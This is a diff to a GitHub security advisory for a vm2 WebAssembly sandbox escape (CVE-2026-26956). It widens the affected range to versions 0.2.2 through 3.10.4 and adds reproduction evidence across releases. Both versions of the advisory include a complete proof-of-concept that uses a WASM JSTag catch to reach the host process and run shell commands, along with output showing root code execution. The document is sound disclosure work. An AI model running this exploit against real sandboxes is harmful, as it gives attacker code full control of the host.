diff --git a/advisories/github-reviewed/2026/05/GHSA-ffh4-j6h5-pg66/GHSA-ffh4-j6h5-pg66.json b/advisories/github-reviewed/2026/05/GHSA-ffh4-j6h5-pg66/GHSA-ffh4-j6h5-pg66.json index b1cbd0971fdbd..1b29756b15ea2 100644 --- a/advisories/github-reviewed/2026/05/GHSA-ffh4-j6h5-pg66/GHSA-ffh4-j6h5-pg66.json +++ b/advisories/github-reviewed/2026/05/GHSA-ffh4-j6h5-pg66/GHSA-ffh4-j6h5-pg66.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-ffh4-j6h5-pg66", - "modified": "2026-05-05T16:44:16Z", + "modified": "2026-05-05T16:44:18Z", "published": "2026-05-05T16:44:16Z", "aliases": [ "CVE-2026-26956" ], - "summary": "VM2 Has a WASM Sandbox Escape (Node 25 only)", - "details": "## Summary\n\nFull sandbox escape with arbitrary code execution. Attacker code inside `VM.run()` obtains host process object and runs host commands with zero host cooperation.\n\n## Details\n\n**Confirmed on:** vm2 3.10.4, Node.js v25.6.1 (x64 Linux)\n**Trigger:** Attacker-controlled code passed to `VM.run()`\n**Requires:** Node.js version with WebAssembly exception handling + JSTag support (tested on v25.6.1)\n\nvm2's sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects `handleException()` into JS `catch` clauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript.\n\nWebAssembly's `try_table` instruction with a `JSTag` catch handler catches JavaScript exceptions at V8's C++ level — below JavaScript entirely. When an imported JS function throws a TypeError produced by Symbol-to-string coercion during stack formatting (`e.name = Symbol(); e.stack`), the WASM `try_table` catches it as an opaque `externref` and returns it as a normal function return value. This WASM exception-handling-to-return-value path is not sanitized by vm2 — the host-realm TypeError reaches attacker code unsanitized. Its constructor chain (`hostError.constructor.constructor`) resolves to a Function that returns the host process object, allowing for reflection outside of the vm2 context, leading to code execution.\n\n## PoC\n\n```js\nconst { VM } = require(\"vm2\");\nconsole.log(\"vm2:\", require(\"vm2/package.json\").version, \"| node:\", process.version);\n\nnew VM().run(`\n const before = typeof process;\n\n const err = new Error(\"x\");\n err.name = Symbol();\n\n const wasm = new Uint8Array([\n 0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,\n 0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,\n 0x02,0x19,0x02,\n 0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,\n 0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,\n 0x03,0x02,0x01,0x01,\n 0x07,0x0f,0x01,\n 0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,\n 0x0a,0x12,0x01,0x10,0x00,\n 0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b\n ]);\n\n const instance = new WebAssembly.Instance(\n new WebAssembly.Module(wasm),\n { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } }\n );\n\n const hostError = instance.exports.catch_error();\n const p = hostError.constructor.constructor(\"return process\")();\n const id = p.mainModule.require(\"child_process\").execSync(\"id\").toString().trim();\n const log = p.mainModule.require(\"console\").log;\n log(\"\");\n log(\"process before escape:\", before);\n log(\"process after escape: \", typeof p);\n log(\"host pid: \", p.pid);\n log(\"host node version: \", p.version);\n log(\"RCE: \", id);\n`);\n```\n\n```\n> node poc.js\nvm2: 3.10.4 | node: v25.6.1\n\nprocess before escape: undefined\nprocess after escape: object\nhost pid: 217\nhost node version: v25.6.1\nRCE: uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n```\n\n**Proof files**\n[poc.js](https://github.com/user-attachments/files/25285089/poc.js)", + "summary": "VM2 Has a WASM Sandbox Escape (any Node.js with WebAssembly JSTag, ≥ v24)", + "details": "## Summary\n\nFull sandbox escape with arbitrary code execution. Attacker code inside `VM.run()` obtains host process object and runs host commands with zero host cooperation.\n\n## Details\n\n**Affected vm2 versions:** `>= 0.2.2, < 3.10.5` (every release that exports the `VM` class up\nto and including 3.10.4 — empirically reproduced; see \"Affected range evidence\" below).\nReleases prior to 0.2.2 do not export `VM` and are not affected.\n**First patched:** vm2 3.10.5\n**Originally reported on:** vm2 3.10.4, Node.js v25.6.1 (x64 Linux)\n**Trigger:** Attacker-controlled code passed to `VM.run()`\n**Requires:** Any Node.js runtime that exposes `WebAssembly.JSTag`. `WebAssembly.JSTag` is part of\nthe standard WebAssembly Exception Handling proposal (stage 4, in V8 since 11.9) and is enabled\nby default in Node.js 24, 25, and 26. Empirically confirmed exploitable on Node.js v24.15.0;\nexpected on every newer release until/unless vm2 is upgraded to ≥ 3.10.5.\nvm2's sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects `handleException()` into JS `catch` clauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript.\n\nWebAssembly's `try_table` instruction with a `JSTag` catch handler catches JavaScript exceptions at V8's C++ level — below JavaScript entirely. When an imported JS function throws a TypeError produced by Symbol-to-string coercion during stack formatting (`e.name = Symbol(); e.stack`), the WASM `try_table` catches it as an opaque `externref` and returns it as a normal function return value. This WASM exception-handling-to-return-value path is not sanitized by vm2 — the host-realm TypeError reaches attacker code unsanitized. Its constructor chain (`hostError.constructor.constructor`) resolves to a Function that returns the host process object, allowing for reflection outside of the vm2 context, leading to code execution.\n\n## Affected range evidence\n\nThe fix shipped in [vm2 v3.10.5](https://github.com/patriksimek/vm2/releases/tag/v3.10.5) is a\nsingle additive line in `lib/setup-sandbox.js`:\n\n localReflectDeleteProperty(WebAssembly, 'JSTag');\n\nThat deletion does not exist in 3.10.4 — but it also does not exist in 3.10.3, 3.10.0, 3.9.x,\n3.0.0, or any earlier release. Every pre-3.10.5 version exposes the unsanitized\n`WebAssembly.JSTag` to sandboxed code.\n\nRunning the PoC above (byte-identical Wasm module) on Node.js v24.15.0 against every loadable\nhistorical vm2 release:\n\n| Outcome | Count | Versions |\n|------------------------------------|-------|-----------------------------------------------------|\n| **Sandbox escape succeeded** | **66**| 0.2.2 → 3.10.4 (every release in this range) |\n| Patched (escape blocked, expected) | 4 | 3.10.5, 3.11.0, 3.11.1, 3.11.2 |\n| Out of scope (no `VM` class) | 4 | 0.1.0, 0.1.1, 0.2.0, 0.2.1 — predate the sandbox API|\n\nThe fixed versions act as a clean negative control: the same exploit fails with\n`WebAssembly.Instance(): Import #1 \"js\" \"tag\" tag must be a WebAssembly.Tag` once `JSTag` is\ndeleted, which is exactly what the fix intends. The four out-of-scope releases do not export\n`VM` at all — the vulnerable surface did not yet exist — so they are not part of the affected\nrange.\n\n## PoC\n\n```js\nconst { VM } = require(\"vm2\");\nconsole.log(\"vm2:\", require(\"vm2/package.json\").version, \"| node:\", process.version);\n\nnew VM().run(`\n const before = typeof process;\n\n const err = new Error(\"x\");\n err.name = Symbol();\n\n const wasm = new Uint8Array([\n 0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,\n 0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,\n 0x02,0x19,0x02,\n 0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,\n 0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,\n 0x03,0x02,0x01,0x01,\n 0x07,0x0f,0x01,\n 0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,\n 0x0a,0x12,0x01,0x10,0x00,\n 0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b\n ]);\n\n const instance = new WebAssembly.Instance(\n new WebAssembly.Module(wasm),\n { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } }\n );\n\n const hostError = instance.exports.catch_error();\n const p = hostError.constructor.constructor(\"return process\")();\n const id = p.mainModule.require(\"child_process\").execSync(\"id\").toString().trim();\n const log = p.mainModule.require(\"console\").log;\n log(\"\");\n log(\"process before escape:\", before);\n log(\"process after escape: \", typeof p);\n log(\"host pid: \", p.pid);\n log(\"host node version: \", p.version);\n log(\"RCE: \", id);\n`);\n```\n\n```\n> node poc.js\nvm2: 3.10.4 | node: v25.6.1\n\nprocess before escape: undefined\nprocess after escape: object\nhost pid: 217\nhost node version: v25.6.1\nRCE: uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n```\n\n**Proof files**\n[poc.js](https://github.com/user-attachments/files/25285089/poc.js)", "severity": [ { "type": "CVSS_V3", @@ -25,16 +25,13 @@ "type": "ECOSYSTEM", "events": [ { - "introduced": "3.10.4" + "introduced": "0.2.2" }, { "fixed": "3.10.5" } ] } - ], - "versions": [ - "3.10.4" ] } ],